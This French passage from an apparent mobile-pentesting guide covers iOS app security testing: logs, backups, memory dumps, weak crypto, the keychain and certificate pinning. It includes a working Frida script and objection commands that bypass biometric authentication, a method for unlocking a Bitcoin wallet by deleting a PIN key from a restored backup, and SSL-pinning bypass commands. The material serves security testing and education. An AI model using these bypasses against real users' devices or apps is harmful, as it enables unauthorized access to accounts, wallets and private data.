idevicesyslog -u <id> (| grep <app>) # To get the device logs
Vous pouvez collecter les journaux de la console via la fenêtre Devices de Xcode comme suit :
- Lancez Xcode.
- Connectez votre appareil à votre ordinateur hôte.
- Choisissez Window -> Devices and Simulators.
- Cliquez sur votre appareil iOS connecté dans la section de gauche de la fenêtre Devices.
- Reproduisez le problème.
- Cliquez sur le bouton Open Console situé dans la partie supérieure droite de la fenêtre Devices pour afficher les journaux de la console dans une fenêtre séparée.
Vous pouvez également vous connecter au shell de l'appareil comme expliqué dans Accès au Shell de l'Appareil, installez socat via apt-get et exécutez la commande suivante :
iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock
========================
ASL is here to serve you
> watch
OK
Jun 7 13:42:14 iPhone chmod[9705] <Notice>: MS:Notice: Injecting: (null) [chmod] (1556.00)
Jun 7 13:42:14 iPhone readlink[9706] <Notice>: MS:Notice: Injecting: (null) [readlink] (1556.00)
Jun 7 13:42:14 iPhone rm[9707] <Notice>: MS:Notice: Injecting: (null) [rm] (1556.00)
Jun 7 13:42:14 iPhone touch[9708] <Notice>: MS:Notice: Injecting: (null) [touch] (1556.00)
...
Utilisez Trickest pour construire et automatiser des workflows grâce aux outils communautaires les plus avancés.
Obtenez l'accès aujourd'hui :
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Sauvegardes
iOS inclut des fonctionnalités de sauvegarde automatique qui créent des copies des données stockées sur l'appareil. Vous pouvez faire des sauvegardes iOS depuis votre ordinateur hôte en utilisant iTunes (jusqu'à macOS Catalina) ou Finder (à partir de macOS Catalina), ou via la fonctionnalité de sauvegarde iCloud. Dans les deux cas, la sauvegarde comprend presque toutes les données stockées sur l'appareil iOS à l'exception des données hautement sensibles telles que les informations Apple Pay et les paramètres Touch ID.
Comme iOS sauvegarde les applications installées et leurs données, une préoccupation évidente est de savoir si les données sensibles de l'utilisateur stockées par l'application pourraient fuiter involontairement à travers la sauvegarde. Une autre préoccupation, bien que moins évidente, est de savoir si les paramètres de configuration sensibles utilisés pour protéger les données ou restreindre les fonctionnalités de l'application pourraient être altérés pour changer le comportement de l'application après la restauration d'une sauvegarde modifiée. Ces deux préoccupations sont valables et ces vulnérabilités se sont avérées exister dans un grand nombre d'applications aujourd'hui.
Une sauvegarde d'un appareil sur lequel une application mobile a été installée inclura tous les sous-répertoires (à l'exception de Library/Caches/
) et fichiers dans le répertoire privé de l'application.
Par conséquent, évitez de stocker des données sensibles en texte clair dans l'un des fichiers ou dossiers qui se trouvent dans le répertoire privé de l'application ou ses sous-répertoires.
Bien que tous les fichiers dans Documents/
et Library/Application Support/
soient toujours sauvegardés par défaut, vous pouvez exclure des fichiers de la sauvegarde en appelant NSURL setResourceValue:forKey:error:
avec la clé NSURLIsExcludedFromBackupKey
.
Vous pouvez utiliser les propriétés du système de fichiers NSURLIsExcludedFromBackupKey et CFURLIsExcludedFromBackupKey pour exclure des fichiers et répertoires des sauvegardes.
{% hint style="warning" %} Par conséquent, lors de la vérification de la sauvegarde d'une application, vous devez vérifier si des informations sensibles sont accessibles et si vous pouvez modifier un comportement sensible de l'application en modifiant certains paramètres de la sauvegarde et en restaurant la sauvegarde. {% endhint %}
Comment tester
Commencez par créer une sauvegarde de l'appareil (vous pouvez le faire en utilisant Finder) et trouvez où la sauvegarde est stockée. La documentation officielle d'Apple vous aidera à localiser les sauvegardes de votre iPhone, iPad et iPod touch.
Une fois que vous avez trouvé la sauvegarde de l'appareil (/Users/carlos.martin/Library/Application Support/MobileSync/Backup/{deviceID}
), vous pouvez commencer à rechercher des informations sensibles en utilisant par exemple grep, ou en utilisant des outils comme iMazing).
Pour identifier si une sauvegarde est chiffrée, vous pouvez vérifier la clé nommée "IsEncrypted" dans le fichier "Manifest.plist", situé à la racine du répertoire de sauvegarde. L'exemple suivant montre une configuration indiquant que la sauvegarde est chiffrée :
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
...
<key>Date</key>
<date>2021-03-12T17:43:33Z</date>
<key>IsEncrypted</key>
<true/>
...
</plist>
Si vous devez travailler avec une sauvegarde chiffrée, il existe des scripts Python dans [le dépôt GitHub de DinoSec](https://github.com/dinosec/iphone-dataprotection/tree/master/python_scripts), tels que **backup_tool.py** et **backup_passwd.py**, qui constitueront un bon point de départ. Cependant, notez qu'ils pourraient ne pas fonctionner avec les dernières versions d'iTunes/Finder et pourraient nécessiter des ajustements.
Vous pouvez également utiliser l'outil [**iOSbackup**](https://pypi.org/project/iOSbackup/) pour lire et extraire facilement des fichiers d'une sauvegarde iOS chiffrée par mot de passe.
**Comment modifier le comportement**
Dans l'application open source de portefeuille bitcoin, [Bither](https://github.com/bither/bither-ios), vous verrez qu'il est possible de configurer un PIN pour verrouiller l'interface utilisateur.\
Ce PIN est stocké dans le fichier `net.bither.plist` à l'intérieur de la **clé** **pin_code**.\
Si vous effacez cette clé de ce plist dans la sauvegarde et restaurez la sauvegarde, vous pourrez accéder au portefeuille.
## Tester la mémoire pour des données sensibles
À un moment donné, des informations sensibles vont être stockées en mémoire. L'objectif est de s'assurer que ces informations sont exposées aussi brièvement que possible.
Pour enquêter sur la mémoire d'une application, commencez par créer un **dump de mémoire**. Alternativement, vous pouvez **analyser la mémoire en temps réel** avec, par exemple, un débogueur. Peu importe la méthode utilisée, c'est un processus très sujet à erreur car les dumps fournissent les données laissées par les fonctions exécutées et vous pourriez manquer d'exécuter des étapes critiques. De plus, il est assez facile de négliger des données pendant l'analyse à moins de connaître l'empreinte des données que vous recherchez (soit leur valeur exacte, soit leur format). Par exemple, si l'application chiffre selon une clé symétrique générée aléatoirement, il est très peu probable que vous repériez la clé en mémoire à moins de trouver sa valeur par d'autres moyens.
**Récupération et analyse d'un dump de mémoire**
Que vous utilisiez un appareil jailbreaké ou non, vous pouvez dumper la mémoire du processus de l'application avec [objection](https://github.com/sensepost/objection) et [Fridump](https://github.com/Nightbringer21/fridump).
Après que la mémoire ait été dumpée (par exemple dans un fichier appelé "memory"), en fonction de la nature des données que vous recherchez, vous aurez besoin d'un ensemble d'outils différents pour traiter et analyser ce dump de mémoire. Par exemple, si vous vous concentrez sur les chaînes de caractères, il pourrait vous suffire d'exécuter la commande `strings` ou `rabin2 -zz` pour extraire ces chaînes.
# using strings
$ strings memory > strings.txt
# using rabin2
$ rabin2 -ZZ memory > strings.txt
Ouvrez strings.txt
dans votre éditeur préféré et examinez-le pour identifier des informations sensibles.
Cependant, si vous souhaitez inspecter d'autres types de données, vous préférerez utiliser radare2 et ses capacités de recherche. Consultez l'aide de radare2 sur la commande de recherche (/?
) pour plus d'informations et une liste d'options. Voici seulement un sous-ensemble d'entre elles :
$ r2 <name_of_your_dump_file>
[0x00000000]> /?
Usage: /[!bf] [arg] Search stuff (see 'e??search' for options)
|Use io.va for searching in non virtual addressing spaces
| / foo\x00 search for string 'foo\0'
| /c[ar] search for crypto materials
| /e /E.F/i match regular expression
| /i foo search for string 'foo' ignoring case
| /m[?][ebm] magicfile search for magic, filesystems or binary headers
| /v[1248] value look for an `cfg.bigendian` 32bit value
| /w foo search for wide string 'f\0o\0o\0'
| /x ff0033 search for hex string
| /z min max search for strings of given size
...
Analyse de la mémoire en temps réel
En utilisant r2frida, vous pouvez analyser et inspecter la mémoire de l'application pendant son exécution sans avoir à la vider. Par exemple, vous pouvez exécuter les commandes de recherche précédentes depuis r2frida et chercher dans la mémoire une chaîne de caractères, des valeurs hexadécimales, etc. Lorsque vous faites cela, n'oubliez pas de préfixer la commande de recherche (et toute autre commande spécifique à r2frida) avec un antislash \
après avoir démarré la session avec r2 frida://usb//<nom_de_votre_application>
.
Cryptographie défectueuse
Processus de gestion de clés médiocre
Certains développeurs enregistrent des données sensibles dans le stockage local et les chiffrent avec une clé codée en dur/prévisible dans le code. Cela ne devrait pas être fait car un peu de rétro-ingénierie pourrait permettre aux attaquants d'extraire les informations confidentielles.
Utilisation d'algorithmes non sécurisés et/ou obsolètes
Les développeurs ne devraient pas utiliser d'algorithmes obsolètes pour effectuer des vérifications d'autorisation, stocker ou envoyer des données. Certains de ces algorithmes sont : RC4, MD4, MD5, SHA1... Si des hashs sont utilisés pour stocker des mots de passe par exemple, des hashs résistants au brute-force devraient être utilisés avec du sel.
Vérification
Les principales vérifications à effectuer sont de trouver si vous pouvez trouver des mots de passe/secrets codés en dur dans le code, ou si ceux-ci sont prévisibles, et si le code utilise une sorte d'algorithmes de cryptographie faible.
Il est intéressant de savoir que vous pouvez surveiller certaines bibliothèques crypto automatiquement en utilisant objection avec :
ios monitor crypt
Pour plus d'informations sur les API et bibliothèques cryptographiques iOS, accédez à https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography
Authentification Locale
Le testeur doit être conscient que l'authentification locale doit toujours être appliquée à un point de terminaison distant ou basée sur un primitif cryptographique. Les attaquants peuvent facilement contourner l'authentification locale si aucune donnée ne résulte du processus d'authentification.
Le cadre d'authentification locale fournit un ensemble d'API pour permettre aux développeurs de présenter une boîte de dialogue d'authentification à l'utilisateur. Dans le contexte de la connexion à un service distant, il est possible (et recommandé) d'utiliser le trousseau pour mettre en œuvre l'authentification locale.
Le capteur d'identification par empreinte digitale est géré par le coprocesseur de sécurité SecureEnclave et ne divulgue pas les données d'empreinte digitale à d'autres parties du système. En plus de Touch ID, Apple a introduit Face ID : qui permet l'authentification basée sur la reconnaissance faciale.
Les développeurs ont deux options pour intégrer l'authentification Touch ID/Face ID :
LocalAuthentication.framework
est une API de haut niveau qui peut être utilisée pour authentifier l'utilisateur via Touch ID. L'application ne peut pas accéder à aucune donnée associée à l'empreinte digitale enregistrée et est seulement notifiée si l'authentification a réussi.Security.framework
est une API de niveau inférieur pour accéder aux services de trousseau. C'est une option sécurisée si votre application a besoin de protéger certaines données secrètes avec une authentification biométrique, puisque le contrôle d'accès est géré au niveau du système et ne peut pas être facilement contourné.Security.framework
a une API en C, mais il existe plusieurs enveloppes open source disponibles, rendant l'accès au trousseau aussi simple qu'à NSUserDefaults.
{% hint style="danger" %}
Veuillez être conscient qu'en utilisant soit le LocalAuthentication.framework
soit le Security.framework
, cela sera un contrôle qui peut être contourné par un attaquant car il ne retourne qu'une valeur booléenne et aucune donnée pour continuer. Voir Don't touch me that way, par David Lindner et al pour plus de détails.
{% endhint %}
Cadre d'Authentification Locale
Les développeurs peuvent afficher une invite d'authentification en utilisant la fonction evaluatePolicy
de la classe LAContext
. Deux politiques disponibles définissent les formes acceptables d'authentification :
deviceOwnerAuthentication
(Swift) ouLAPolicyDeviceOwnerAuthentication
(Objective-C) : Lorsqu'elle est disponible, l'utilisateur est invité à effectuer une authentification Touch ID. Si Touch ID n'est pas activé, le code d'accès de l'appareil est demandé à la place. Si le code d'accès de l'appareil n'est pas activé, l'évaluation de la politique échoue.deviceOwnerAuthenticationWithBiometrics
(Swift) ouLAPolicyDeviceOwnerAuthenticationWithBiometrics
(Objective-C) : L'authentification est limitée aux biométries où l'utilisateur est invité pour Touch ID.
La fonction evaluatePolicy
renvoie une valeur booléenne indiquant si l'utilisateur s'est authentifié avec succès. Ce qui signifie qu'elle peut être facilement contournée (voir ci-dessous)
Authentification Locale avec Trousseau
Les API du trousseau iOS peuvent (et doivent) être utilisées pour mettre en œuvre l'authentification locale. Au cours de ce processus, l'application stocke soit un jeton d'authentification secret, soit une autre pièce de données secrètes identifiant l'utilisateur dans le trousseau. Pour s'authentifier à un service distant, l'utilisateur doit déverrouiller le trousseau en utilisant son mot de passe ou son empreinte digitale pour obtenir les données secrètes.
Le trousseau permet de sauvegarder des éléments avec l'attribut spécial SecAccessControl
, qui permettra l'accès à l'élément du trousseau uniquement après que l'utilisateur a passé l'authentification Touch ID (ou code d'accès, si un tel retour est autorisé par les paramètres d'attribut).
Dans l'exemple suivant, nous allons sauvegarder la chaîne "test_strong_password" dans le trousseau. La chaîne ne peut être accédée que sur l'appareil actuel tandis que le code d'accès est défini (paramètre kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly
) et après l'authentification Touch ID pour les doigts actuellement enregistrés seulement (paramètre SecAccessControlCreateFlags.biometryCurrentSet
) :
{% tabs %} {% tab title="Swift" %}
// 1. create AccessControl object that will represent authentication settings
var error: Unmanaged<CFError>?
guard let accessControl = SecAccessControlCreateWithFlags(kCFAllocatorDefault,
kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly,
SecAccessControlCreateFlags.biometryCurrentSet,
&error) else {
// failed to create AccessControl object
return
}
// 2. define keychain services query. Pay attention that kSecAttrAccessControl is mutually exclusive with kSecAttrAccessible attribute
var query: [String: Any] = [:]
query[kSecClass as String] = kSecClassGenericPassword
query[kSecAttrLabel as String] = "com.me.myapp.password" as CFString
query[kSecAttrAccount as String] = "OWASP Account" as CFString
query[kSecValueData as String] = "test_strong_password".data(using: .utf8)! as CFData
query[kSecAttrAccessControl as String] = accessControl
// 3. save item
let status = SecItemAdd(query as CFDictionary, nil)
if status == noErr {
// successfully saved
} else {
// error while saving
}
{% endtab %}
{% tab title="Objective-C" %}
// 1. create AccessControl object that will represent authentication settings
CFErrorRef *err = nil;
SecAccessControlRef sacRef = SecAccessControlCreateWithFlags(kCFAllocatorDefault,
kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly,
kSecAccessControlUserPresence,
err);
// 2. define keychain services query. Pay attention that kSecAttrAccessControl is mutually exclusive with kSecAttrAccessible attribute
NSDictionary* query = @{
(_ _bridge id)kSecClass: (__bridge id)kSecClassGenericPassword,
(__bridge id)kSecAttrLabel: @"com.me.myapp.password",
(__bridge id)kSecAttrAccount: @"OWASP Account",
(__bridge id)kSecValueData: [@"test_strong_password" dataUsingEncoding:NSUTF8StringEncoding],
(__bridge id)kSecAttrAccessControl: (__bridge_transfer id)sacRef
};
// 3. save item
OSStatus status = SecItemAdd((__bridge CFDictionaryRef)query, nil);
if (status == noErr) {
// successfully saved
} else {
// error while saving
}
{% endtab %}
{% endtabs %}
Nous pouvons maintenant demander l'élément enregistré dans le trousseau. Les services de trousseau présenteront la boîte de dialogue d'authentification à l'utilisateur et retourneront des données ou nil selon qu'une empreinte digitale appropriée a été fournie ou non.
{% tabs %}
{% tab title="Swift" %}
// 1. define query
var query = [String: Any]()
query[kSecClass as String] = kSecClassGenericPassword
query[kSecReturnData as String] = kCFBooleanTrue
query[kSecAttrAccount as String] = "My Name" as CFString
query[kSecAttrLabel as String] = "com.me.myapp.password" as CFString
query[kSecUseOperationPrompt as String] = "Please, pass authorisation to enter this area" as CFString
// 2. get item
var queryResult: AnyObject?
let status = withUnsafeMutablePointer(to: &queryResult) {
SecItemCopyMatching(query as CFDictionary, UnsafeMutablePointer($0))
}
if status == noErr {
let password = String(data: queryResult as! Data, encoding: .utf8)!
// successfully received password
} else {
// authorization not passed
}
{% endtab %}
{% tab title="Objective-C" %}
// 1. define query
NSDictionary *query = @{(__bridge id)kSecClass: (__bridge id)kSecClassGenericPassword,
(__bridge id)kSecReturnData: @YES,
(__bridge id)kSecAttrAccount: @"My Name1",
(__bridge id)kSecAttrLabel: @"com.me.myapp.password",
(__bridge id)kSecUseOperationPrompt: @"Please, pass authorisation to enter this area" };
// 2. get item
CFTypeRef queryResult = NULL;
OSStatus status = SecItemCopyMatching((__bridge CFDictionaryRef)query, &queryResult);
if (status == noErr){
NSData* resultData = ( __bridge_transfer NSData* )queryResult;
NSString* password = [[NSString alloc] initWithData:resultData encoding:NSUTF8StringEncoding];
NSLog(@"%@", password);
} else {
NSLog(@"Something went wrong");
}
{% endtab %} {% endtabs %}
Détection
L'utilisation de frameworks dans une application peut également être détectée en analysant la liste des bibliothèques dynamiques partagées du binaire de l'application. Cela peut être fait en utilisant otool
:
$ otool -L <AppName>.app/<AppName>
Si LocalAuthentication.framework
est utilisé dans une application, la sortie contiendra les deux lignes suivantes (rappelez-vous que LocalAuthentication.framework
utilise Security.framework
sous le capot) :
/System/Library/Frameworks/LocalAuthentication.framework/LocalAuthentication
/System/Library/Frameworks/Security.framework/Security
Contournement du Framework d'Authentification Locale
Objection
Contournement Biométrique avec Objection peut être utilisé pour contourner LocalAuthentication. Objection utilise Frida pour manipuler la fonction evaluatePolicy
afin qu'elle retourne True
même si l'authentification n'a pas été effectuée avec succès. Utilisez la commande ios ui biometrics_bypass
pour contourner l'authentification biométrique non sécurisée. Objection enregistrera un travail, qui remplacera le résultat de evaluatePolicy
. Cela fonctionnera à la fois dans les implémentations Swift et Objective-C.
...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # ios ui biometrics_bypass
(agent) Registering job 3mhtws9x47q. Type: ios-biometrics-disable
...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # (agent) [3mhtws9x47q] Localized Reason for auth requirement: Please authenticate yourself
(agent) [3mhtws9x47q] OS authentication response: false
(agent) [3mhtws9x47q] Marking OS response as True instead
(agent) [3mhtws9x47q] Biometrics bypass hook complete
Si vulnérable, le module contournera automatiquement le formulaire de connexion.
Frida
Un exemple d'utilisation de evaluatePolicy
à partir de l'application DVIA-v2 :
+(void)authenticateWithTouchID {
LAContext *myContext = [[LAContext alloc] init];
NSError *authError = nil;
NSString *myLocalizedReasonString = @"Please authenticate yourself";
if ([myContext canEvaluatePolicy:LAPolicyDeviceOwnerAuthenticationWithBiometrics error:&authError]) {
[myContext evaluatePolicy:LAPolicyDeviceOwnerAuthenticationWithBiometrics
localizedReason:myLocalizedReasonString
reply:^(BOOL success, NSError *error) {
if (success) {
dispatch_async(dispatch_get_main_queue(), ^{
[TouchIDAuthentication showAlert:@"Authentication Successful" withTitle:@"Success"];
});
} else {
dispatch_async(dispatch_get_main_queue(), ^{
[TouchIDAuthentication showAlert:@"Authentication Failed !" withTitle:@"Error"];
});
}
}];
} else {
dispatch_async(dispatch_get_main_queue(), ^{
[TouchIDAuthentication showAlert:@"Your device doesn't support Touch ID or you haven't configured Touch ID authentication on your device" withTitle:@"Error"];
});
}
}
Pour contourner l'Authentification Locale, nous devons écrire un script Frida qui contourne la vérification evaluatePolicy mentionnée ci-dessus. Comme vous pouvez le voir dans l'extrait de code collé ci-dessus, evaluatePolicy utilise un callback qui détermine le résultat. Ainsi, la manière la plus simple de réaliser le piratage est d'intercepter ce callback et de s'assurer qu'il retourne toujours success=1.
// from https://securitycafe.ro/2022/09/05/mobile-pentesting-101-bypassing-biometric-authentication/
if(ObjC.available) {
console.log("Injecting...");
var hook = ObjC.classes.LAContext["- evaluatePolicy:localizedReason:reply:"];
Interceptor.attach(hook.implementation, {
onEnter: function(args) {
var block = new ObjC.Block(args[4]);
const callback = block.implementation;
block.implementation = function (error, value) {
console.log("Changing the result value to true")
const result = callback(1, null);
return result;
};
},
});
} else {
console.log("Objective-C Runtime is not available!");
}
frida -U -f com.highaltitudehacks.DVIAswiftv2 --no-pause -l fingerprint-bypass-ios.js
Exposition de Fonctionnalités Sensibles à travers l'IPC
Gestionnaires d'URI personnalisés / Deeplinks / Schémas personnalisés
{% content-ref url="ios-custom-uri-handlers-deeplinks-custom-schemes.md" %} ios-custom-uri-handlers-deeplinks-custom-schemes.md {% endcontent-ref %}
Liens Universels
{% content-ref url="ios-universal-links.md" %} ios-universal-links.md {% endcontent-ref %}
Partage UIActivity
{% content-ref url="ios-uiactivity-sharing.md" %} ios-uiactivity-sharing.md {% endcontent-ref %}
UIPasteboard
{% content-ref url="ios-uipasteboard.md" %} ios-uipasteboard.md {% endcontent-ref %}
Extensions d'Application
{% content-ref url="ios-app-extensions.md" %} ios-app-extensions.md {% endcontent-ref %}
WebViews
{% content-ref url="ios-webviews.md" %} ios-webviews.md {% endcontent-ref %}
Sérialisation et Encodage
{% content-ref url="ios-serialisation-and-encoding.md" %} ios-serialisation-and-encoding.md {% endcontent-ref %}
Communication Réseau
Il est important de vérifier qu'aucune communication ne se produit sans chiffrement et aussi que l'application valide correctement le certificat TLS du serveur.
Pour vérifier ces problèmes, vous pouvez utiliser un proxy comme Burp :
{% content-ref url="burp-configuration-for-ios.md" %} burp-configuration-for-ios.md {% endcontent-ref %}
Vérification du nom d'hôte
Un problème courant lors de la validation du certificat TLS est de vérifier que le certificat a été signé par une CA de confiance, mais de ne pas vérifier si le nom d'hôte du certificat est le nom d'hôte accédé.
Pour vérifier ce problème en utilisant Burp, après avoir fait confiance au CA de Burp sur l'iPhone, vous pouvez créer un nouveau certificat avec Burp pour un nom d'hôte différent et l'utiliser. Si l'application fonctionne toujours, alors, quelque chose est vulnérable.
Pinning de Certificat
Si une application utilise correctement le Pinning SSL, alors l'application ne fonctionnera que si le certificat est celui attendu. Lors du test d'une application cela peut être un problème car Burp servira son propre certificat.
Pour contourner cette protection sur un appareil jailbreaké, vous pouvez installer l'application SSL Kill Switch ou installer Burp Mobile Assistant
Vous pouvez également utiliser ios sslpinning disable
de objection.
Divers
- Dans
/System/Library
vous pouvez trouver les frameworks installés dans le téléphone utilisés par les applications système. - Les applications installées par l'utilisateur depuis l'App Store se trouvent dans
/User/Applications
. - Et
/User/Library
contient les données enregistrées par les applications au niveau utilisateur. - Vous pouvez accéder à
/User/Library/Notes/notes.sqlite
pour lire les notes enregistrées dans l'application. - À l'intérieur du dossier d'une application installée (
/User/Applications/<APP ID>/
), vous pouvez trouver des fichiers intéressants :iTunesArtwork
: L'icône utilisée par l'application.iTunesMetadata.plist
: Infos de l'application utilisées dans l'App Store./Library/*
: Contient les préférences et le cache. Dans/Library/Cache/Snapshots/*
vous pouvez trouver la capture d'écran effectuée à l'application avant de l'envoyer en arrière-plan.
Patching à Chaud/Mise à Jour Forcée
Les développeurs peuvent patcher à distance toutes les installations de leur application instantanément sans avoir à soumettre à nouveau l'application à l'App store et attendre qu'elle soit approuvée.
Pour cela, on utilise généralement JSPatch. Mais il existe aussi d'autres options telles que Siren et react-native-appstore-version-checker.
C'est un mécanisme dangereux qui pourrait être abusé par des SDK tiers malveillants, il est donc recommandé de vérifier quelle méthode est utilisée pour la mise à jour automatique (le cas échéant) et de la tester. Vous pourriez essayer de télécharger une version antérieure de l'application à cette fin.
Tiers
Un problème des SDK tiers est qu'il n'y a pas de contrôle granulaire sur les fonctionnalités offertes par le SDK. Vous pourriez utiliser le SDK et avoir toutes les fonctionnalités (y compris les fuites de diagnostic et les connexions HTTP non sécurisées), ou ne pas l'utiliser. De plus, il n'est généralement pas possible pour les développeurs d'applications de corriger une vulnérabilité sur le SDK.
De plus, certains SDK commencent à contenir des logiciels malveillants une fois qu'ils sont très fiables par la communauté.
En outre, les fonctionnalités fournies par ces services peuvent impliquer des services de suivi pour surveiller le comportement de l'utilisateur lors de l'utilisation de l'application, la vente de publicités sur bannières ou l'amélioration de l'expérience utilisateur. L'inconvénient des services tiers est que les développeurs ne connaissent pas les détails du code exécuté via des bibliothèques tierces. Par conséquent, aucune information plus que nécessaire ne doit être envoyée à un service, et aucune information sensible ne doit être divulguée.
L'inconvénient est qu'un développeur ne connaît pas en détail quel code est exécuté via des bibliothèques tierces et par conséquent renonce à la visibilité. Par conséquent, il faut s'assurer que pas plus d'informations que nécessaire sont envoyées au service et qu'aucune information sensible n'est divulguée.
La plupart des services tiers sont implémentés de deux manières :
- avec une bibliothèque autonome
- avec un SDK complet
Toutes les données envoyées aux services tiers doivent être anonymisées pour éviter l'exposition de PII (Personal Identifiable Information) qui permettrait au tiers d'identifier le compte utilisateur.
Vous pouvez trouver les bibliothèques utilisées par une application en exécutant otool
contre l'application (et l'exécutant contre chaque bibliothèque partagée pour trouver plus de bibliothèques partagées utilisées).
Références
- https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06b-basic-security-testing#information-gathering
- iOS & Mobile App Pentesting - INE
Plus d'Informations
- https://github.com/ivRodriguezCA/RE-iOS-Apps/ Cours gratuit IOS (https://syrion.me/blog/ios-swift-antijailbreak-bypass-frida/)
- https://www.sans.org/reading-room/whitepapers/testing/ipwn-apps-pentesting-ios-applications-34577
- https://www.slideshare.net/RyanISI/ios-appsecurityminicourse
- https://github.com/prateek147/DVIA
- https://github.com/prateek147/DVIA-v2
- https://github.com/OWASP/MSTG-Hacking-Playground%20
- OWASP iGoat https://github.com/OWASP/igoat <<< Version Objective-C https://github.com/OWASP/iGoat-Swift <<< Version Swift
- https://github.com/authenticationfailure/WheresMyBrowser.iOS
- https://github.com/nabla-c0d3/ssl-kill-switch2
Utilisez Trickest pour construire et automatiser des workflows alimentés par les outils communautaires les plus avancés.
Obtenez l'accès aujourd'hui :
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!
Autres moyens de soutenir HackTricks :
- Si vous souhaitez voir votre entreprise annoncée dans HackTricks ou télécharger HackTricks en PDF, consultez les PLANS D'ABONNEMENT!
- Obtenez le merchandising officiel PEASS & HackTricks
- Découvrez La Famille PEASS, notre collection d'NFTs exclusifs
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez moi sur Twitter 🐦 @carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR aux repos github HackTricks et HackTricks Cloud.